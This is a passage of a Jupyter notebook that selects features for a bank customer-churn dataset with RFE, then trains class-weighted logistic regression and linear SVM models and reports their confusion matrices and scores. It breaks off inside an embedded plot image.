"9KHrejhwpEw_", + "outputId": "4c241745-93e2-4f25-ec7d-d041fb6cfcc7" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "['CreditScore',\n", + " 'Age',\n", + " 'Tenure',\n", + " 'Balance',\n", + " 'NumOfProducts',\n", + " 'EstimatedSalary',\n", + " 'Surname_enc',\n", + " 'bal_per_product',\n", + " 'bal_by_est_salary',\n", + " 'tenure_age_ratio',\n", + " 'age_surname_mean_churn']" + ] + }, + "metadata": {}, + "execution_count": 73 + } + ], + "source": [ + "cont_vars" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "adMwjS6Ffn-3", + "outputId": "6255c58b-3535-4f7b-bd09-d54e478a8df4" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "['Gender',\n", + " 'HasCrCard',\n", + " 'IsActiveMember',\n", + " 'country_France',\n", + " 'country_Germany',\n", + " 'country_Spain']" + ] + }, + "metadata": {}, + "execution_count": 74 + } + ], + "source": [ + "cat_vars" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "aL3Svh6lpEw_", + "colab": { + "base_uri": "https://localhost:8080/" + }, + "outputId": "b0e02522-c9c7-4a92-ee6a-b6b0ed520777" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "Index(['Gender', 'HasCrCard', 'IsActiveMember', 'country_France',\n", + " 'country_Germany', 'country_Spain', 'CreditScore', 'Age', 'Tenure',\n", + " 'Balance', 'NumOfProducts', 'EstimatedSalary', 'Surname_enc',\n", + " 'bal_per_product', 'bal_by_est_salary', 'tenure_age_ratio',\n", + " 'age_surname_mean_churn'],\n", + " dtype='object')" + ] + }, + "metadata": {}, + "execution_count": 76 + } + ], + "source": [ + "## Creating feature-set and target for RFE model\n", + "y = dc_train['Exited'].values\n", + "#X = pd.concat([df_train[cat_vars], sc_X_train[cont_vars]], ignore_index=True, axis = 1)\n", + "X = dc_train[cat_vars + cont_vars]\n", + "X.columns = cat_vars + cont_vars\n", + "X.columns" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Z0vAHDw0pEw_", + "outputId": "18cdf1a4-d8e4-4892-82f1-a1b81d820cb7" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "[ True True True True True True False True False False True False\n", + " True False False True False]\n", + "[1 1 1 1 1 1 4 1 3 6 1 8 1 7 5 1 2]\n" + ] + } + ], + "source": [ + "# for logistics regression\n", + "rfe = RFE(estimator=LogisticRegression(), n_features_to_select=10) \n", + "rfe = rfe.fit(X.values, y) \n", + "# mask of selected features\n", + "print(rfe.support_)\n", + "## The feature ranking, such that ranking_[i] corresponds to the ranking position of the i-th feature \n", + "print(rfe.ranking_)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "3BuUyuOU3j8z", + "outputId": "04840baa-e3f7-44e8-b8dd-45d65c7b43b0" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "[False False True False True False False True False True True True\n", + " False True True True True]\n", + "[8 7 1 6 1 5 4 1 3 1 1 1 2 1 1 1 1]\n" + ] + } + ], + "source": [ + "# for decision trees\n", + "rfe_dt = RFE(estimator=DecisionTreeClassifier(max_depth = 4, criterion = 'entropy'), n_features_to_select=10) \n", + "rfe_dt = rfe_dt.fit(X.values, y) \n", + "# mask of selected features\n", + "print(rfe_dt.support_)\n", + "## The feature ranking, such that ranking_[i] corresponds to the ranking position of the i-th feature \n", + "print(rfe_dt.ranking_)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "HnMzhjwqpEw_", + "outputId": "dbea2722-fce9-4f8f-f78b-6b8878c2fd28" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "['Gender',\n", + " 'HasCrCard',\n", + " 'IsActiveMember',\n", + " 'country_France',\n", + " 'country_Germany',\n", + " 'country_Spain',\n", + " 'Age',\n", + " 'NumOfProducts',\n", + " 'Surname_enc',\n", + " 'tenure_age_ratio']" + ] + }, + "metadata": {}, + "execution_count": 79 + } + ], + "source": [ + "## Logistic Regression (Linear model)\n", + "mask = rfe.support_.tolist()\n", + "selected_feats = [b for a,b in zip(mask, X.columns) if a]\n", + "selected_feats" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "wjCUYt2npExA", + "outputId": "88b02ed0-4805-48cd-f258-656e01febdff" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "['IsActiveMember',\n", + " 'country_Germany',\n", + " 'Age',\n", + " 'Balance',\n", + " 'NumOfProducts',\n", + " 'EstimatedSalary',\n", + " 'bal_per_product',\n", + " 'bal_by_est_salary',\n", + " 'tenure_age_ratio',\n", + " 'age_surname_mean_churn']" + ] + }, + "metadata": {}, + "execution_count": 80 + } + ], + "source": [ + "## Decision Tree (Non-linear model)\n", + "mask = rfe_dt.support_.tolist()\n", + "selected_feats_dt = [b for a,b in zip(mask, X.columns) if a]\n", + "selected_feats_dt" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "tEpoY6t4pExA", + "outputId": "179e7ee1-aa7c-480d-8521-da8372a92ef7" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "((7920, 10), (1080, 10), (1000, 10))" + ] + }, + "metadata": {}, + "execution_count": 81 + } + ], + "source": [ + "## Importing relevant metrics\n", + "selected_cat_vars = [x for x in selected_feats if x in cat_vars]\n", + "selected_cont_vars = [x for x in selected_feats if x in cont_vars]\n", + "## Using categorical features and scaled numerical features\n", + "X_train = np.concatenate((dc_train[selected_cat_vars].values, sc_X_train[selected_cont_vars].values), axis = 1)\n", + "X_val = np.concatenate((dc_val[selected_cat_vars].values, sc_X_val[selected_cont_vars].values), axis = 1)\n", + "X_test = np.concatenate((dc_test[selected_cat_vars].values, sc_X_test[selected_cont_vars].values), axis = 1)\n", + "\n", + "# print the shape\n", + "X_train.shape, X_val.shape, X_test.shape" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "PwjYn_1EpExA", + "outputId": "335c1a6f-a311-42c5-9f0b-0b85713167d2" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "{0: 1.0, 1: 3.925373134328358}" + ] + }, + "metadata": {}, + "execution_count": 82 + } + ], + "source": [ + "# Obtaining class weights based on the class samples imbalance ratio\n", + "_, num_samples = np.unique(y_train, return_counts = True)\n", + "weights = np.max(num_samples)/num_samples\n", + "## Define weight dictionnary\n", + "weights_dict = dict()\n", + "class_labels = [0,1]\n", + "## Weights associated with classes\n", + "for a,b in zip(class_labels,weights):\n", + " weights_dict[a] = b\n", + "\n", + "weights_dict" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "gjnJTxImpExB", + "outputId": "0b5b0322-5496-4473-e66f-e591ea4b9aff" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "LogisticRegression(class_weight={0: 1.0, 1: 3.925373134328358}, n_jobs=-1)" + ] + }, + "metadata": {}, + "execution_count": 85 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "['Gender',\n", + " 'HasCrCard',\n", + " 'IsActiveMember',\n", + " 'country_France',\n", + " 'country_Germany',\n", + " 'country_Spain',\n", + " 'Age',\n", + " 'NumOfProducts',\n", + " 'Surname_enc',\n", + " 'tenure_age_ratio']" + ] + }, + "metadata": {}, + "execution_count": 85 + } + ], + "source": [ + "## Defining model\n", + "lr = LogisticRegression(C = 1.0, penalty = 'l2', class_weight = weights_dict, n_jobs = -1)\n", + "## Fitting model\n", + "lr.fit(X_train, y_train)\n", + "## Fitted model parameters\n", + "selected_cat_vars + selected_cont_vars" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "N6dbGO-wuQOf", + "outputId": "4a9b1afb-1513-4bd3-aa91-5fd628171787" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "array([[-0.5190172 , -0.06938782, -0.90843476, -0.33748839, 0.58664742,\n", + " -0.24918718, 0.80999582, -0.05061525, -0.0659637 , -0.05143544]])" + ] + }, + "metadata": {}, + "execution_count": 86 + } + ], + "source": [ + "## coef_ is the coeficient\n", + "lr.coef_" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "mWAssKYXuV-Y", + "outputId": "81ead076-c0e6-4261-ac91-6e43f5204fcc" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "array([0.60235927])" + ] + }, + "metadata": {}, + "execution_count": 87 + } + ], + "source": [ + "## intercept_\n", + "lr.intercept_" + ] + }, + { + "cell_type": "code", + "source": [ + "print(f'Confusion Matrix: \\n{confusion_matrix(y_train, lr.predict(X_train))}')\n", + "print(f'Area Under Curve: {roc_auc_score(y_train, lr.predict(X_train))}')\n", + "print(f'Recall score: {recall_score(y_train,lr.predict(X_train))}')\n", + "print(f'Classification report: \\n{classification_report(y_train,lr.predict(X_train))}')" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "O_9qpx2VIYJY", + "outputId": "2fb69832-54ba-4f5e-c0f9-f61cffdf0e98" + }, + "execution_count": null, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Confusion Matrix: \n", + "[[4515 1797]\n", + " [ 485 1123]]\n", + "Area Under Curve: 0.70684363354331\n", + "Recall score: 0.6983830845771144\n", + "Classification report: \n", + " precision recall f1-score support\n", + "\n", + " 0 0.90 0.72 0.80 6312\n", + " 1 0.38 0.70 0.50 1608\n", + "\n", + " accuracy 0.71 7920\n", + " macro avg 0.64 0.71 0.65 7920\n", + "weighted avg 0.80 0.71 0.74 7920\n", + "\n" + ] + } + ] + }, + { + "cell_type": "code", + "source": [ + "print(f'Confusion Matrix: \\n{confusion_matrix(y_val, lr.predict(X_val))}')\n", + "print(f'Area Under Curve: {roc_auc_score(y_val, lr.predict(X_val))}')\n", + "print(f'Recall score: {recall_score(y_val,lr.predict(X_val))}')\n", + "print(f'Classification report: \\n{classification_report(y_val,lr.predict(X_val))}')" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "yFktE680RLIW", + "outputId": "7db3012f-c47a-4aea-f682-1b109c4eba7d" + }, + "execution_count": null, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Confusion Matrix: \n", + "[[590 252]\n", + " [ 71 167]]\n", + "Area Under Curve: 0.7011966306712709\n", + "Recall score: 0.7016806722689075\n", + "Classification report: \n", + " precision recall f1-score support\n", + "\n", + " 0 0.89 0.70 0.79 842\n", + " 1 0.40 0.70 0.51 238\n", + "\n", + " accuracy 0.70 1080\n", + " macro avg 0.65 0.70 0.65 1080\n", + "weighted avg 0.78 0.70 0.72 1080\n", + "\n" + ] + } + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "pXbzGLxNpExC", + "outputId": "1855a48b-ce91-4cb3-a136-b6b40f39890b" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "SVC(class_weight={0: 1.0, 1: 3.925373134328358}, kernel='linear')" + ] + }, + "metadata": {}, + "execution_count": 92 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "['Gender',\n", + " 'HasCrCard',\n", + " 'IsActiveMember',\n", + " 'country_France',\n", + " 'country_Germany',\n", + " 'country_Spain',\n", + " 'Age',\n", + " 'NumOfProducts',\n", + " 'Surname_enc',\n", + " 'tenure_age_ratio']" + ] + }, + "metadata": {}, + "execution_count": 92 + } + ], + "source": [ + "## Define Support Vector Classifier\n", + "svm = SVC(C = 1.0, kernel = \"linear\", class_weight = weights_dict)\n", + "## Fitted model parameters\n", + "svm.fit(X_train, y_train)\n", + "selected_cat_vars + selected_cont_vars" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "UjmWHIN1pExC", + "outputId": "8ce8c938-125b-4098-b58f-d3be198b7610" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "array([[-0.47038465, -0.05340445, -0.72996153, -0.30836204, 0.55362911,\n", + " -0.24526708, 0.87476177, -0.04764615, -0.05580166, -0.03797282]])" + ] + }, + "metadata": {}, + "execution_count": 93 + } + ], + "source": [ + "## Define coeficient\n", + "svm.coef_" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "YuhbGr0IwIIi", + "outputId": "6c96956d-590c-48f3-aa56-502953edaf6c" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "array([0.45490808])" + ] + }, + "metadata": {}, + "execution_count": 94 + } + ], + "source": [ + "svm.intercept_" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "24f4UcelpExC", + "outputId": "c2fbebec-c4e8-415d-e532-ce9f3e52bd36" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Confusion Matrix: \n", + "[[4515 1797]\n", + " [ 485 1123]]\n", + "Area Under Curve: 0.70684363354331\n", + "Recall score: 0.6983830845771144\n", + "Classification report: \n", + " precision recall f1-score support\n", + "\n", + " 0 0.90 0.72 0.80 6312\n", + " 1 0.38 0.70 0.50 1608\n", + "\n", + " accuracy 0.71 7920\n", + " macro avg 0.64 0.71 0.65 7920\n", + "weighted avg 0.80 0.71 0.74 7920\n", + "\n" + ] + } + ], + "source": [ + "## Training metrics\n", + "print(f'Confusion Matrix: \\n{confusion_matrix(y_train, lr.predict(X_train))}')\n", + "print(f'Area Under Curve: {roc_auc_score(y_train, lr.predict(X_train))}')\n", + "print(f'Recall score: {recall_score(y_train,lr.predict(X_train))}')\n", + "print(f'Classification report: \\n{classification_report(y_train,lr.predict(X_train))}')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "uWvQWUPapExD", + "outputId": "509939da-986e-4d9c-e2b1-2b4714710559" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Confusion Matrix: [[590 252]\n", + " [ 71 167]]\n", + "Area Under Curve: 0.7011966306712709\n", + "Recall score: 0.7016806722689075\n", + "Classification report: \n", + " precision recall f1-score support\n", + "\n", + " 0 0.89 0.70 0.79 842\n", + " 1 0.40 0.70 0.51 238\n", + "\n", + " accuracy 0.70 1080\n", + " macro avg 0.65 0.70 0.65 1080\n", + "weighted avg 0.78 0.70 0.72 1080\n", + "\n" + ] + } + ], + "source": [ + "## Validation metrics\n", + "print(f'Confusion Matrix: {confusion_matrix(y_val, lr.predict(X_val))}')\n", + "print(f'Area Under Curve: {roc_auc_score(y_val, lr.predict(X_val))}')\n", + "print(f'Recall score: {recall_score(y_val,lr.predict(X_val))}')\n", + "print(f'Classification report: \\n{classification_report(y_val,lr.predict(X_val))}')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "YyqwCzqvpExD", + "outputId": "bff3618a-1908-4dae-9f7d-e1b467109eca" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "((7920, 2), (7920,))" + ] + }, + "metadata": {}, + "execution_count": 98 + } + ], + "source": [ + "pca = PCA(n_components=2)\n", + "## Transforming the dataset using PCA\n", + "X_pca = pca.fit_transform(X_train)\n", + "y = y_train\n", + "X_pca.shape, y.shape" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "vVW27nWZpExD", + "outputId": "f1ffc9a8-5581-46db-c233-6e32ab2e351e" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "array([0.2602733 , 0.18789887])" + ] + }, + "metadata": {}, + "execution_count": 99 + } + ], + "source": [ + "## Checking the variance explained by the reduced features\n", + "pca.explained_variance_ratio_" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 338 + }, + "id": "3wCj-taFpExD", + "outputId": "a035041b-45dd-4d9a-878e-a0ebf13e500b" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "LogisticRegression(class_weight={0: 1.0, 1: 3.925373134328358}, n_jobs=-1)" + ] + }, + "metadata": {}, + "execution_count": 102 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "SVC(class_weight={0: 1.0, 1: 3.925373134328358}, kernel='linear')" + ] + }, + "metadata": {}, + "execution_count": 102 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "" + ] + }, + "metadata": {}, + "execution_count": 102 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "" + ] + }, + "metadata": {}, + "execution_count": 102 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "" + ] + }, + "metadata": {}, + "execution_count": 102 + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "Text(0.5, 1.0, 'Linear models - LogReg and SVM')" + ] + }, + "metadata": {}, + "execution_count": 102 + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "
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